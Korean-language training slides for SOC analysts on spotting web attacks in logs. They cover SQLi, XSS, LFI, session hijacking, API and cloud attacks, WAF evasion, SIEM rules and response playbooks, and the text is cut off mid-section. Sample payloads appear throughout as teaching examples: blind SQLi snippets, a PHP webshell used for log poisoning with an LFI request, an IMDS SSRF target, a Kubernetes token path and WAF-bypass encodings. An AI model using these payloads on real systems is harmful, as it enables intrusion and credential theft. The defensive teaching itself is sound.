스캐너Niktosqlmap

자동화 입력

탐지 이벤트에 자산 중요도·최근 24h 히스토리 보강
IP·계정·엔드포인트 기준으로 관련 이벤트를 묶음

사람 승인

서버 격리·대규모 차단·세션 강제 종료는 사람 승인 필요
고객 영향·업무 시간대·우회 가능성을 같이 판단

자동화 출력

티켓 생성·온콜 통지·증거 로그 자동 수집까지 연결
WAF 룰 임시 적용과 만료 시간도 같이 기록

심화 · 분석 방법

웹 로그 타임라인 재구성 방법

흩어진 이벤트를 시간 순서로 연결해야 사건의 전체 그림이 보인다.

1단계

대상 IP 또는 세션 기준으로 전체 요청 추출 → 시간 순 정렬

2단계

엔드포인트별 묶기 → 정찰/공격/접근/후속 단계 분류

3단계

상태코드 시퀀스 분석 → 전환 포인트(404→200, 401→302) 표시

4단계

다른 로그 소스 (WAF/App/Host) 동일 시간대 이벤트 연결

5단계

FPCA 프레임으로 사건 문장 작성 → handoff

💡 타임라인 재구성의 핵심 도구: grep(IP/패턴 추출), awk/sort(정렬·집계), Excel/Kibana(시각화), Python pandas(자동화)

보강 설명사건 타임라인 재구성은 SOC 분석가의 핵심 스킬입니다. 여러 IP와 엔드포인트에 걸친 이벤트를 시간 순서로 정렬하고 연결하는 방법을 다룹니다.

타임라인재구성사건 흐름

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨
계층이 바뀌면 보이는 로그와 보이지 않는 로그도 달라짐

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남
배포 직후·기능 출시 직후엔 예외와 정상 흐름을 먼저 수집

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?
이 주제에서 놓치기 쉬운 blind spot 한 가지를 적기

심화 · 판단 프레임

오탐 vs 정탐 판단 프레임

빠른 직감보다 구조화된 판단 기준이 일관성 있는 SOC 운영을 만든다.

정탐(True Positive) 강화 조건

payload + 반복성 + 상태코드 변화 조합
공격 의도 명확한 경로 (admin, /etc/passwd)
정상 서비스 목적이 없는 요청
후속 행위 연결 가능 (파일 생성, 계정 접근)

오탐(False Positive) 의심 조건

정상 기능에서 발생하는 유사 패턴
내부 IP 또는 알려진 스캐너 서비스
배치 작업, 모니터링 에이전트
개발/스테이징 환경 활동
리치텍스트, CMS 에디터 입력

🔍 판단 질문 체크리스트

☐ 이 엔드포인트가 이런 입력을 받을 정상 목적이 있는가?
☐ 같은 패턴이 다른 IP에서도 관찰되는가?

☐ 요청 시간대가 정상 사용자 패턴과 다른가?
☐ 개발팀에게 이 기능의 정상 입력 범위를 확인할 수 있는가?

보강 설명오탐과 정탐의 경계를 명확히 하는 것은 SOC 분석가의 핵심 역량입니다. 판단 프레임을 구조화해서 일관성 있는 판단을 할 수 있도록 훈련합니다.

오탐정탐판단 프레임

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

심화 · SQLi

SQLi 심화: 블라인드 SQLi vs 에러 기반 SQLi

응답 내용이 보이지 않아도 공격자는 조건 분기와 지연 응답으로 데이터를 추출할 수 있다.

Boolean-based Blind SQLi

조건이 참/거짓일 때 응답 내용이 달라지는 것을 이용

AND 1=1 → 정상 응답
AND 1=2 → 빈 응답 또는 오류

로그 탐지: 동일 URL에 조건 변형 반복 + 응답 크기 차이

Time-based Blind SQLi

응답 지연으로 참/거짓 확인

IF(1=1, SLEEP(5), 0)
WAITFOR DELAY '0:0:5'

로그 탐지: response_time 급증 (N초) + SLEEP/WAITFOR 패턴

에러 기반 SQLi 탐지

extractvalue(), updatexml() 함수 + app 에러 로그에서 DB 구조 노출 여부 확인

Out-of-Band SQLi

DNS/HTTP 아웃바운드로 데이터 전송. egress + DNS 쿼리 상관분석 필요 — load_file(), xp_dirtree()

보강 설명SQL Injection의 심화 주제로, 블라인드 SQLi는 응답 내용이 아니라 응답 시간이나 조건 분기로 데이터를 추출합니다. 로그에서 어떻게 탐지하는지 설명합니다.

블라인드 SQLiBoolean-basedTime-based

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

심화 · XSS

XSS 심화: DOM-based XSS와 탐지 한계

DOM-based XSS는 브라우저 내에서 실행되므로 access.log에 흔적이 거의 남지 않는다.

🌐 DOM-based XSS 특징

페이로드가 URL Fragment(#) 뒤에 위치
서버로 전송되지 않아 access.log에 안 남음
JavaScript가 URL/hash를 파싱해 DOM에 삽입할 때 발생
예: https://example.com/page#<script>...

🔍 제한적 탐지 방법

WAF는 Fragment를 보지 못함
브라우저 콘솔 에러 로그 (CSP Report)
JS 오류 모니터링 (Sentry 등)
엔드포인트 스캔 시 Fragment 포함 요청

3가지 XSS 유형 로그 가시성 비교

Reflected XSS
access.log에 GET 파라미터 노출
✅ 탐지 가능

Stored XSS
POST body에 payload
⚠️ 입력 시 탐지 가능

DOM-based XSS
서버 미경유
❌ 탐지 매우 어려움

보강 설명DOM-based XSS는 서버를 거치지 않고 브라우저 내에서 실행되기 때문에 access.log에 잘 남지 않습니다. 탐지 방법과 한계를 설명합니다.

DOM-based XSS서버 미경유Fragment

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

심화 · LFI

LFI → RCE: Log Poisoning 체인

LFI로 로그 파일을 읽을 수 있다면, 로그를 오염시켜 코드 실행으로 이어질 수 있다.

① LFI 확인
로그 파일 읽기
성공 확인

→

② 로그 오염
UA에 PHP 코드
삽입 요청

→

③ LFI 재실행
로그 파일 include
PHP 실행

→

④ RCE
cmd= 파라미터로
명령 실행

로그 오염 예시

User-Agent: <?php system($_GET['cmd']); ?>

GET /?file=../../../../var/log/apache2/access.log&cmd=id

🚨 탐지 포인트

UA에 <?php 포함 요청
직후 LFI로 로그 파일 재요청
cmd= 파라미터와 시스템 명령 조합
app.log에서 PHP 실행 오류 또는 출력

보강 설명LFI에서 RCE로 이어지는 Log Poisoning 기법은 LFI와 CMDi의 결합 체인의 대표 사례입니다. User-Agent에 PHP 코드를 삽입하는 방식을 설명합니다.

LFILog PoisoningRCE

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

심화 · 인증

인증 공격 심화: 세션 하이재킹과 계정 유지

계정 탈취는 로그인 성공에서 끝나지 않는다 — 세션을 유지하는 방법이 더 중요하다.

세션 하이재킹

XSS로 세션 쿠키 탈취 후 재사용
동일 세션 ID가 다른 IP에서 사용
탐지: 동일 session_id + IP 변경

세션 고정 (Session Fixation)

공격자가 세션 ID를 미리 설정
피해자가 해당 세션으로 로그인하도록 유도
탐지: 로그인 전후 세션 ID 변경 없음

탈취 이후 행동 패턴

비밀번호 변경 → 원래 주인 잠금
연결된 이메일/전화번호 변경
OAuth 토큰 발급 → 장기 접근 유지
관리자 계정 추가 생성

⚠️ 계정 탈취 탐지의 핵심: 로그인 성공(IP/UA)과 이후 행동의 일관성 — 로그인 후 갑자기 설정 변경, 특권 접근, 대량 조회가 발생하면 즉시 에스컬레이션

보강 설명계정 탈취는 로그인 공격 성공 이후에도 계속됩니다. 세션 하이재킹, 세션 고정, 토큰 재사용 등을 통해 지속적인 접근을 유지하는 방법을 다룹니다.

세션 하이재킹세션 고정토큰 재사용

대표 신호

401 반복 뒤 302/200 1회는 성공 후보로 즉시 재검토
단일 계정 집중=Brute Force, 다중 계정 분산=Stuffing/Spraying

추가 확인

MFA 로그·세션 재발급·새 기기/새 국가 로그인 여부 확인
성공 뒤 관리자 메뉴·비밀번호 변경·권한 변경이 있는지 확인

실습 예시

계정 축과 IP 축 두 개의 집계 표를 동시에 그려 보기
Password Spraying은 6시간 창으로 넓게 보며 탐지하기

심화 · 고급 공격

비즈니스 로직 공격 — 정상 기능이 무기가 될 때

기술적 취약점이 없어도 정상 기능의 논리적 허점을 이용해 공격할 수 있다.

💰 가격/수량 조작

POST body에서 price=-1 또는 quantity=0 변조
쿠폰 코드 반복 사용
탐지: 주문 금액 < 0 또는 비정상 discount rate

⚡ Race Condition

같은 요청을 동시 다발 전송
한 번만 사용 가능한 쿠폰을 여러 번 적용
탐지: 동일 시간대 동일 요청 N회 (ms 단위)

IDOR (Insecure Direct Object Reference)

URL에서 다른 사용자 ID로 변경:
/api/orders/12345 → /api/orders/12346
탐지: 짧은 시간에 다수의 연속 ID 조회

💡 비즈니스 로직 공격은 payload 자체는 정상 — 맥락(Context)과 패턴으로만 탐지 가능하므로, App 로그와 비즈니스 데이터를 함께 분석해야 한다

보강 설명비즈니스 로직 공격은 기술적 취약점이 아니라 애플리케이션의 정상 기능을 악용하는 공격입니다. 로그에서 비정상적인 패턴으로만 탐지할 수 있습니다.

비즈니스 로직Price ManipulationRace Condition

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · API

API 보안 — SOC 관점의 주요 취약점

REST API는 웹 공격의 새로운 주 표면이다 — access.log에서 API 패턴을 읽는 법을 알아야 한다.

🔴 Broken Object Level Auth (BOLA)

API에서 다른 사용자 리소스 ID로 직접 접근

GET /api/v1/users/1001 → /api/v1/users/1002 → ...

탐지: 짧은 시간에 순차적 ID 조회, 200 응답

🟡 Broken Auth / JWT 취약점

JWT 서명 미검증, 알고리즘 none 사용, 만료 토큰 재사용

Authorization: Bearer [만료/변조된 JWT]

탐지: 401 후 200 전환, 동일 토큰 다른 IP

🟣 Excessive Data Exposure

API 응답에 필요 이상의 민감 데이터 포함

탐지: 응답 바이트 급증, 민감 필드 포함 여부 (App 로그)

🔵 Mass Assignment

POST/PUT body에 권한 필드 포함 (is_admin=true)

{"username":"user","is_admin":true,"role":"admin"}

탐지: body 필드 이상값 (WAF body 검사)

보강 설명API는 현대 웹의 주요 공격 표면입니다. OWASP API Security Top 10의 주요 항목을 SOC 관점에서 로그 탐지와 연결해 설명합니다.

API 보안OWASPAPI Top 10

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · API

GraphQL 공격 패턴

GraphQL의 유연성은 공격자에게도 편리하다 — Introspection부터 DoS까지.

Introspection 공격

GraphQL 스키마 전체 구조 열람 → API 설계 노출

{"query":"{__schema{types{name fields{name}}}}"}

탐지: POST /graphql에 __schema, __type 포함

중첩 쿼리 DoS (Nested Query)

깊은 중첩으로 N+1 쿼리 유발, 서버 과부하

{users{posts{comments{author{posts{...}}}}}}

탐지: response_time 급증, 500/503, 중첩 깊이

Batching 공격

배치 요청으로 Rate Limit 우회, 대량 데이터 조회

[{query:...}, {query:...}, ... x1000]

💡 GraphQL 탐지 핵심: POST /graphql body에 대한 내용 검사가 필요. WAF 설정에서 GraphQL depth limit, complexity limit을 룰로 적용해야 한다

보강 설명GraphQL은 유연한 쿼리 언어이지만, 과도한 중첩 쿼리로 서버를 과부하시키거나 Introspection으로 API 구조를 노출할 수 있습니다.

GraphQLIntrospectionBatching

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 클라우드

클라우드 환경 웹 공격 특성

클라우드는 전통적 취약점 위에 클라우드 고유 공격 표면이 더해진다.

IMDS (Instance Metadata Service)

SSRF → 169.254.169.254 → IAM 자격증명 탈취

탈취 성공 시: AWS/GCP/Azure 전체 권한 탈취 가능

방어: IMDSv2 강제 (토큰 기반), 방화벽 차단

클라우드 스토리지 (S3/GCS)

버킷 권한 설정 오류 → 공개 노출
서명 URL 만료 전 공유 → 인증 없이 접근
탐지: /s3.amazonaws.com, gs:// 패턴, 대량 다운로드

서버리스 (Lambda/Cloud Functions) 공격

함수 직접 호출로 WAF 우회
Cold start를 이용한 타이밍 공격
환경 변수에서 비밀 키 탈취

클라우드 환경 탐지 추가 소스

AWS CloudTrail / GCP Audit Log
VPC Flow Logs (egress 확인)
IAM 감사 로그 (자격증명 사용 이력)

보강 설명클라우드 환경에서는 전통적인 웹 공격 외에 클라우드 고유의 공격 표면이 추가됩니다. IMDS(메타데이터 서비스), 클라우드 스토리지, 서버리스 등 클라우드 특화 패턴을 다룹니다.

클라우드IMDSS3 버킷

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 컨테이너

컨테이너/K8s 환경에서의 웹 공격

컨테이너 내 웹 공격이 성공하면 컨테이너 탈출 → 클러스터 전체 위협으로 확대될 수 있다.

컨테이너 탈출 체인

웹 공격 성공 (WebShell/RCE)

↓

컨테이너 내부 탐색 (/proc, /sys, env)

↓

K8s API 서버 접근 (ServiceAccount 토큰)

↓

클러스터 권한 탈취

컨테이너 환경 탐지 포인트

웹 프로세스 자식으로 kubectl, docker 실행
ServiceAccount 토큰 파일 접근
/var/run/secrets/kubernetes.io/serviceaccount/token
K8s API 서버 (:6443) 내부 접근
컨테이너 내 비정상 egress (C2 통신 가능성)

추가 소스: K8s audit log, container runtime log

보강 설명컨테이너 환경에서는 웹 공격이 컨테이너 탈출이나 K8s API 서버 접근으로 이어질 수 있습니다.

컨테이너DockerKubernetes

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 위협 인텔

위협 인텔리전스를 웹 탐지에 연계하기

알려진 공격 인프라 정보를 탐지에 연결하면 조기 발견과 우선순위 결정이 빨라진다.

📡 IP 평판 / ASN 조회

Tor Exit Node, VPN, Proxy 여부
알려진 스캐너/공격 인프라 IP
Botnet 제어 서버 (C2) IP
소스: Shodan, AbuseIPDB, VirusTotal

🔎 취약점 정보 연계

현재 서비스 버전의 CVE 활성 익스플로잇 여부
PoC 공개 후 탐지 룰 갱신 타임라인
CISA KEV (알려진 악용 취약점 목록)
소스: NVD, CVSS, Exploit-DB

TI 실무 연계 방법

SIEM에 악성 IP/도메인 피드 자동 업데이트
알람 발생 시 해당 IP 평판 자동 조회
TI 매칭 시 우선순위 자동 상승

⚠️ TI 데이터는 오래되거나 부정확할 수 있음 — IP 평판이 "clean"이어도 새로운 공격자일 수 있다. TI는 참고 데이터, 단독 판단 근거로 쓰지 않는다

보강 설명알려진 공격 IP, 악성 도메인, 취약점 정보를 탐지에 연계하면 탐지 품질이 높아집니다. 위협 인텔리전스의 실무 활용 방법을 다룹니다.

위협 인텔리전스TIIOC

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · WAF

WAF 우회 기법 이해 (방어자 관점)

우회 기법을 이해해야 WAF 규칙을 더 강하게 만들 수 있다.

인코딩/정규화 우회

이중 URL 인코딩: %2527 = %27 = '
Unicode 정규화 차이 이용
HTML Entity 혼용: <script>

HTTP 프로토콜 레벨 우회

Chunked Transfer Encoding으로 body 분할
Content-Type 불일치 (WAF vs 서버 파싱 차이)
HTTP Parameter Pollution (동일 파라미터 중복)

WAF 특성 우회

WAF가 처리하지 않는 경로 직접 접근
원본 서버 IP 직접 접근 (WAF 우회)
새로운 공격 변형 (WAF 룰 미갱신)

📌 방어 전략: WAF 앞 경로에서 원본 서버 IP 비공개 유지, Decoded/정규화 후 검사, 지속적 룰 업데이트, 다층 방어 (WAF만 신뢰 금지)

보강 설명공격자가 WAF를 우회하는 다양한 기법을 이해해야 WAF를 더 잘 활용할 수 있습니다. 이 슬라이드는 공격자 관점이 아닌 방어자 관점에서 우회 기법을 학습합니다.

WAF 우회인코딩청크

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

심화 · SIEM

SIEM 웹 탐지 룰 작성 패턴

탐지 룰은 where 절 하나가 아니라, 필터 + 집계 + 임계치 + 상관의 조합이다.

SQLi 탐지 룰 구조 (의사 코드)

Brute Force 상관 룰 구조

index=web uri="/login" method=POST
| stats count(eval(status=401)) as fail,
count(eval(status IN (200,302))) as success
by src_ip, _time span=10m
| where fail > 10 AND success > 0
| alert "Brute Force + Success"

💡 룰 설계 원칙: 필터(어떤 이벤트) → 집계(얼마나 많이) → 임계치(언제 알람) → 상관(다른 이벤트와 연결) → 심각도(우선순위)

보강 설명SIEM에서 웹 공격 탐지 룰을 작성하는 실제 구조를 배웁니다. 대표적인 SIEM 쿼리 패턴과 상관 룰 설계를 다룹니다.

SIEM탐지 룰Splunk

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

심화 · SOC 운영

웹 알람 우선순위 체계 설계

알람 피로(Alert Fatigue)를 막으려면 중요도 기반 우선순위 체계가 필요하다.

등급	조건	대응
CRITICAL	WebShell 호출 성공, 관리자 계정 탈취	즉시 IR 에스컬레이션
HIGH	SQLi 성공 가능성(200+대량응답), Brute Force 성공	15분 내 조사 시작
MEDIUM	SQLi 시도(200/500 혼합), XSS POST 성공, 반복 LFI	2시간 내 조사
LOW	스캐너 UA, 404 폭증, 단발 payload 시도	일일 배치 검토

우선순위 상승 조건

대상이 중요 자산 (결제/인증/관리자 서버)
관리자 계정 관련 활동
후속 행위 연결 (파일 생성, 프로세스)
TI 매칭 (알려진 공격 IP)
복합 공격 유형 동시 발생

보강 설명모든 알람이 같은 우선순위라면 SOC는 금방 알람 피로에 빠집니다. 우선순위 체계를 구조화해서 가장 중요한 것을 먼저 처리하는 방법을 배웁니다.

알람 우선순위심각도Severity

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

심화 · 대응

공격 유형별 즉시 대응 플레이북

무엇을 먼저 해야 하는지 미리 정해두면 사고 시 판단 속도가 빨라진다.

🚨 WebShell 탐지 시

해당 서버 네트워크 격리 검토
업로드 파일 즉시 격리/삭제
웹 프로세스 자식 프로세스 목록 확인
egress 연결 확인 및 차단
IR팀 즉시 에스컬레이션

🔐 계정 탈취 확인 시

해당 계정 즉시 잠금
모든 활성 세션 종료
탈취 이후 행동 전체 조사
비밀번호 재설정 강제
MFA 재등록

📊 SQLi 성공 의심 시

WAF 차단 룰 즉시 강화
DB 접근 로그 확인
영향 데이터 범위 파악
개발팀 즉시 통보 (패치 요청)
규정 보고 요건 검토 (개인정보 포함 시)

🌐 SSRF 확인 시

egress 로그에서 실제 내부 접속 확인
클라우드 IMDS 접근 여부 → 자격증명 교체
해당 기능 임시 비활성화 검토
URL 허용 목록 구현 요청

보강 설명공격 유형별 구체적인 대응 플레이북을 만들어두면 사고 발생 시 빠르게 움직일 수 있습니다.

대응 플레이북Runbook사고 대응

자동화 입력

탐지 이벤트에 자산 중요도·최근 24h 히스토리 보강
IP·계정·엔드포인트 기준으로 관련 이벤트를 묶음

사람 승인

서버 격리·대규모 차단·세션 강제 종료는 사람 승인 필요
고객 영향·업무 시간대·우회 가능성을 같이 판단

자동화 출력

티켓 생성·온콜 통지·증거 로그 자동 수집까지 연결
WAF 룰 임시 적용과 만료 시간도 같이 기록

심화 · 운영

사고 사후 분석(Post-mortem) 방법

사후 분석은 책임 추궁이 아니라 시스템 개선을 위한 학습 과정이다.

📝 Post-mortem 핵심 질문

무슨 일이 발생했는가? (타임라인)
어떻게 탐지했는가? (탐지 경로)
왜 이것이 가능했는가? (근본 원인)
어떻게 대응했는가? (대응 과정)
다시 발생하지 않으려면? (개선 조치)

🔄 개선 사이클

사고 발생 → 대응 → 타임라인 작성

↓

근본 원인 분석 (5 Whys)

↓

탐지 룰 / 프로세스 / 코드 개선

↓

검증 → 문서화 → 공유

💡 Blameless Post-mortem: 개인을 비난하지 않고 시스템과 프로세스의 개선점을 찾는다. 실수를 솔직하게 공유하는 문화가 전체 팀의 역량을 높인다

보강 설명사고 후 사후 분석은 같은 실수를 반복하지 않기 위한 핵심 프로세스입니다. 비난 없는 포스트모템 문화와 개선 사이클을 설명합니다.

Post-mortem사후 분석개선 사이클

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

심화 · 실전 케이스

실전 케이스: SQLi 기반 데이터 유출 사건 분석

탐지부터 사건 재구성까지 — SOC 분석가의 실전 사고 흐름을 따라가 본다.

T-3일
정찰 스캔
sqlmap UA
404 폭증

→

T-1일
파라미터
테스트
500 오류 증가

→

T+0
UNION SELECT
성공
200+대량응답

→

T+2h
DB 구조
파악
반복 조회

→

T+6h
대용량
응답
데이터 유출

놓친 탐지 포인트

T-3일: UA 기반 탐지 룰 없음
T-1일: 500 오류 급증 임계치 부재
T+0: response_bytes 급증 모니터링 없음

개선 포인트

스캐너 UA 탐지 룰 추가
500 오류 급증 + 동일 파라미터 상관 룰
응답 크기 이상 모니터링 (>10KB 반복)
조기 격리 기준 명확화

보강 설명실제 발생 가능한 대형 데이터 유출 시나리오를 분석합니다. SQLi를 통한 데이터 유출의 전체 흐름을 SOC 관점에서 재구성합니다.

데이터 유출SQLi대형 사고

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

심화 · 실전 케이스

랜섬웨어와 웹 공격 연계 패턴

랜섬웨어 침해의 상당수는 웹 애플리케이션 공격으로 시작된다.

웹 취약점
공격
(SQLi/Upload)

→

WebShell
설치
초기 발판

→

C2 통신
도구 다운로드
(wget/curl)

→

내부 횡이동
권한 상승
AD 공격

→

데이터 유출
+
랜섬웨어 배포

🔍 웹 계층에서의 조기 탐지 포인트

WebShell 업로드 + 실행 탐지 → 즉시 격리
웹 프로세스 자식으로 wget/curl 실행
비정상 C2 도메인으로 아웃바운드 연결
내부망 이동 패턴 (내부 IP 대상 스캔)

⚠️ 웹 계층에서 조기 차단하지 못하면 피해가 전체 내부망으로 확산된다. WebShell 탐지 시 즉시 격리가 랜섬웨어 피해를 막는 핵심 타이밍이다

보강 설명랜섬웨어 공격이 웹 공격으로 시작되는 경우가 증가하고 있습니다. WebShell을 통한 초기 접근 이후 랜섬웨어 배포로 이어지는 체인을 설명합니다.

랜섬웨어초기 접근WebShell

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 실전

내부자 위협과 웹 로그 분석

내부자는 정상 계정을 사용하므로 payload가 아닌 행동 패턴 이상으로 탐지해야 한다.

내부자 위협 웹 로그 신호

정상 계정이 업무 시간 외 대량 데이터 조회
평소 접근하지 않던 민감 API 갑자기 호출
대용량 다운로드 또는 export 기능 반복 사용
퇴직 예정자가 마지막 주에 접근량 급증
관리자 기능에 갑자기 접근 시도

행동 기반 탐지 접근법

사용자별 평소 기준선(Baseline) 수립
기준선 대비 편차 탐지 (UBA/UEBA)
응답 크기 급증 (데이터 유출 가능성)
접근 자산 종류 급격한 변화

💡 내부자 위협 탐지는 기술보다 프로세스가 중요: IAM 정기 검토, 최소 권한 원칙, 퇴직자 즉시 계정 비활성화, 민감 데이터 접근 모니터링 정책

보강 설명내부자 위협은 외부 공격과 달리 정상 계정을 사용하므로 로그에서 비정상 패턴으로만 탐지할 수 있습니다.

내부자 위협Insider Threat이상 행동

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 탐지 기법

웹 허니팟과 Canary Token 활용

누군가 건드렸다는 것 자체가 공격 신호 — 허니팟은 오탐이 없는 탐지 방법이다.

🍯 웹 허니팟 유형

허니팟 URL: 절대 정상 접근이 없는 경로
/admin-backup, /.git/config
허니팟 API 키: 코드에 심어둔 가짜 API 키
접근 시 즉시 알람
허니팟 계정: 실제 사용 없는 관리자 계정
로그인 시도 = 공격 신호

✅ 허니팟의 장점

오탐률 0%: 정상 사용자는 건드리지 않음
내부 위협 탐지에 효과적
공격자 TTP(전술/기법/절차) 파악
저비용 조기 경보 시스템

Canary Token 실제 활용 예시

문서에 URL 삽입 → 문서 유출 탐지
AWS 자격증명처럼 보이는 가짜 키 심기

데이터베이스 덤프에 가짜 레코드 삽입
특정 경로 파일 접근 감지 (file canary)

보강 설명허니팟은 공격자를 탐지하는 훌륭한 도구입니다. 웹 환경에서 허니팟 토큰(Canary Token)과 허니팟 엔드포인트를 어떻게 활용하는지 설명합니다.

허니팟HoneypotCanary Token

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 분석 도구

웹 로그 분석 자동화

반복되는 추출·집계·정렬 작업을 자동화하면 분석가는 판단에만 집중할 수 있다.

Bash / CLI 빠른 분석

# 상위 IP별 요청 수
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

# SQLi 패턴 필터링
